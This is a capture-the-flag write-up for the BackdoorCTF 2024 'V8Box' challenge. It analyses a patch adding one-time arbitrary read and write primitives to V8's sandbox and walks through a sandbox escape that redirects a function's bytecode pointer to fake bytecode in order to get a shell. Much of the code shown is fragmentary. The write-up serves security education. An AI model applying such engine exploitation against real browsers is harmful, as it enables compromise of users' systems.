BackdoorCTF 2024 - V8Box
V8Box
Description
You can download the challenge here
Author: p0ch1ta
Wasm and JIT are so 2019. Let’s isolate them and go back to our roots.
Introduction
In this challenges we are given compiled the v8 (d8) as well as the vuln.patch & args.gn
The content of args.gn file is like this
1 | is_component_build = false |
The v8 compiled with Sandbox API Enabled and without JIT, WASM, Maglev, etc which make the challenges quite hard to get shell, because usually we using web assembly for getting shell in most v8 challenges.
Patch Analysis
Now let’s take a look on the vuln.patch
1 | From dd6cd956e058d04c0d72c7915ec38e7e38f834b5 Mon Sep 17 00:00:00 2001 |
In summary the patch created 3 function:
- The first one is
Sandbox.getPIELeak
which will be return address of PIE, but only upper bits1
2console.log("Leak: ", Sandbox.getPIELeak.toString(16));
//output : Leak: 572900000000 - The second one is
Sandbox.leakIsolate
basically arbitrary read on isolate heap v8 but only one time.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18let buf2 = new ArrayBuffer(8);
let f64 = new Float64Array(buf2);
let i64 = new BigUint64Array(buf2);
const ftoi = x => {
f64[0] = x;
return i64[0];
};
const itof = x => {
i64[0] = x;
return f64[0];
};
leak = ftoi(Sandbox.leakIsolate(0x8));
console.log("Leak Isolate: ", leak.toString(16));
//output : 5555569eb000
As you can see from image above, if we put the offset 8 it will return as the address of isolate heap on v8 which is0x5555569eb000
, so if you put the offset to 0 the result will be0x000028c300000000
.
With this we can leak any address that availabe on that heap - The third one is
Sandbox.ArbMemoryWrite
basically arbitrary write on any address but only one time again same likeleakIsolate
.1
Sandbox.ArbMemoryWrite(0xdeadbeefn, 0xcafebeefn);
The vuln is clear here, we got once ARB Read & Write from the vuln.patch
now we need to bypass the sandbox using those functions. Since JIT, WASM, etc is disabled we need to find other way to get shell.
Solution
The solution is overwrite JavaScript bytecode, there’s a similiar challenge that solved it that way which is challenge V8box on GoogleCTF 2023
Javascript Bytecode
V8 is complex javascript engine that running on google chrome, and apparently v8 convert every function into bytecode. So if you create a function like this
1 | function pwn(a, b) { |
The bytecode will saved in the heap v8 sandbox address, and that address is stored / located in Trusted Pointer Table Trusted Pointer Table -> Bytecode Address (0x28770004007d)
And if you call that pwn()
function. One of function that will processed the bytecode is Builtins_LdarHandler
function, and from the googlectf writeup that function has no bound check, so if we can control the bytecode Ldar it will happily load data from anywhere on the stack.
Gain Shell
Now we know our goal, the problem is we only have one time ARB Read & Write, so the idea is we use ARB Read to leak address that contain the bytecode of pwn()
function and overwrite it with address our backing store address as our fake bytecode. And that target address is this one
To get that address you can grep address of pwn()
bytecode which is 0x28770004007d
on gef / pwndbg.
As you can see from the image above the address 0x7fff43610000
contain address of pwn()
function bytecode address that mean that address is the Trusted Pointer Table address, so we will use our ARB Write to overwrite that address into our backing store address.
1 | const buf = new ArrayBuffer(0x1000); // buffer for storing fake bytecode |
Now we have our backing store address for store our fake bytecode, first we need to copy the original bytecode from pwn()
to our backing store address. We can just copy all the value in address 0x28770004007d
1 | const bc_struct = [ |
Now we need to find the pointer address that cointain address of our pwn()
bytecode which is address 0x7fff43610000
. Luckily the address if found on offset 0x298 so we can you leakIsolate on offset 0x298 to get that address.
1 | trusted_ptr = ftoi(Sandbox.leakIsolate(0x298)) + 0x10000n |
And now we can overwrite the bytecode address to our backing store address with Sandbox.ArbMemoryWrite
1 | const target = BigInt(byteCodeTag + bc_addr64) + BigInt(kHeapObjectTag); |
So if we set breakpoint on function Builtins_LdarHandler
then call pwn()
again, the pointer will changed to our backing store address.
With this we can just follow the solution from V8Box Google CTF 2023. Leak the PIE address by changing the bytecode to LdarExtraWide
then we control the stack by changing the bytecode to Star Frame Pointer
1 | reset(); |
Now with this we successfully get the shell.
For full script you can see it here